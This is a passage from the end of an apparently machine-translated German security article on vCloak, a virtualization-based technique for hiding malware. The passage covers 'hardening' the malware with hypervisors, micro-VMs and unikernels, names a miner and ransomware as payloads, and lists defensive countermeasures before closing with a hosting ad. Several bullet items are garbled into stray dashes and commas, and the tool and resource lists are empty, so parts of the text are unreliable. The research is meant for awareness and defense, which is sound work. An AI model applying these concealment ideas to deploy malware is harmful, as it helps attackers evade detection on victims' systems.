Die obige Tabelle zeigt die verschiedenen Techniken (Spalten aus Abbildung 9), geordnet nach Aspekten des Angriffs und der Angemessenheit eines bestimmten Angriffsvektors (erste Zeile aus Abbildung 9). Die in diesem Artikel diskutierten Techniken sind in grünen Zellen aufgeführt, und andere Winkel, die wir im Verlauf der Studie ebenfalls angesprochen haben, sind in weißen Zellen aufgeführt. Bevor wir versuchen, einige Ratschläge zu geben und diesen Beitrag abzuschließen, werfen wir einen Blick auf das „Härten“ unserer Malware mithilfe der in den weißen Feldern in der obigen Tabelle genannten Techniken (Abbildung 8).



  • Shared Memory  Extractor - Sie können den Extractor so konfigurieren, dass er den Speicher mit Malware teilt und somit nicht so stark auf gemeinsam genutzte Daten wirkt.
  •  – - , .
  •  – , , xmrig GonnaCry, .
  •  – vCloak1, vCloack2, VM, MicroVM, Unikernel ELF, . .
  •  – firecracker, , .
  •  – KVM, , alternative can be produced to reduce payload size and add cloaking abilities.
  •  – , , , MAP_EXCLUSIVE, SGX SVE\SME .
  • Erweiterter Angriffsbereich auf einen Host  - Wir nutzen solche Gelegenheiten nicht, da ihre Diskussion den Rahmen dieses Artikels sprengt. Es sind zwar bekannte Schwachstellen bekannt, die die Tarnung noch effektiver machen würden.


Schließlich kann man nicht versäumen zu erwähnen: Obwohl dies nicht für die Zwecke dieser Studie gilt, stellte sich heraus, dass es umso bequemer ist, mit Hypervisoren zu arbeiten, da diese Programme beliebt sind, bekanntermaßen viele Schwachstellen aufweisen und Die Häufigkeit von Hypervisor-Updates variiert. Hypervisor-Schwachstellen können ausgenutzt werden, um die Tarnleistung zu verbessern. Das Rennen zwischen Angreifern und Netzwerkwächtern ist kompromisslos und unerbittlich. Wir hoffen, dass die Informationen in diesem Artikel den Lesern ein wenig helfen, sich mit dem Thema zu befassen.  



Instrumente



Während der Erforschung der Virtualisierung habe ich verschiedene Tools erstellt, die mir bei dieser Recherche geholfen haben:





Beseitigen Sie die Bedrohung



Das Universum der virtuellen Maschinen und Betriebssysteme wächst rasant und gleichzeitig entstehen neue Software- und Hardwarefunktionen. Die Untersuchung dieser neuen Funktionen aus Sicht der Malware-Bereitstellung kann



Cybersicherheitsteams dabei helfen, einige der durch Virtualisierung maskierten böswilligen Verhaltensweisen zu beseitigen, da im virtualisierten Bereich nichts sichtbar ist. Es gibt einige Möglichkeiten, diese blinden Flecken hervorzuheben, aber es gibt derzeit keine Standard- oder native Lösung dieser Art. Wenn Sie jedoch die gesamte Angriffskette untersuchen, finden Sie einige sehr effektive Gegenmaßnahmen, um böswilliger Virtualisierung entgegenzuwirken.  



Was kann getan werden / Ressourcen verfügbar:





Teilweise verfügbar oder nicht verfügbar:



  • Sichtbarkeit innerhalb des Status der virtuellen Maschine
  • Erstellen Sie einen Monitor für virtuelle Maschinen
  • Identifizieren von Anomalien beim Verbrauch von Hostressourcen durch eine virtuelle Maschine 


Fazit



Virtualisierung ist cool! Viele innovative Dinge basieren auf der Abstraktion, die durch die Virtualisierung bereitgestellt wird, wie z. B. Clouds, Endpoint-Maschinen und sogar die neuesten Autos. Virtualisierung verbessert die Leistung und Sicherheit im Allgemeinen, hat aber auch eine Schattenseite. Wie die jüngsten Angriffe in der realen Welt gezeigt haben und wie in diesem Artikel erläutert, kann ein Angreifer viele der Funktionen der Virtualisierung nutzen. Der Einsatz der neuesten Technologien, insbesondere VT-x und minimalistisches Sandboxing, macht die Virtualisierung noch subtiler. 



Der Zweck von vCloak besteht darin, eine praktische Einführung in das Problem zu geben, wie mithilfe der Virtualisierung Malware unsichtbar bereitgestellt werden kann, damit Benutzer diese Arten von Bedrohungen kennen und sich gegen sie verteidigen können.



In dem Artikel werden auch einige der heute verfügbaren Methoden zur Beseitigung solcher Bedrohungen sowie für die Zukunft geplante Lösungen erwähnt. Eine wichtige Möglichkeit, die umgesetzt werden sollte, um den Schutz vor böswilliger Virtualisierung zu einer herausfordernden Aufgabe zu machen, besteht darin, die Transparenz der in der virtuellen Maschine ablaufenden Prozesse zu erhöhen und für eine wirksame Neutralisierung von Bedrohungen zu sorgen. Die Cybersicherheitsbranche entwickelt und hält mit modernen Lösungen für die Virtualisierung Schritt. Jetzt ist es an der Zeit, sich vor solchen Bedrohungen zu hüten und im Voraus Schutz vor ihnen zu schaffen.






Cloud-Server von Macleod sind schnell und sicher.



Registrieren Sie sich über den obigen Link oder indem Sie auf das Banner klicken und erhalten Sie 10% Rabatt für den ersten Monat der Anmietung eines Servers einer beliebigen Konfiguration!






All Articles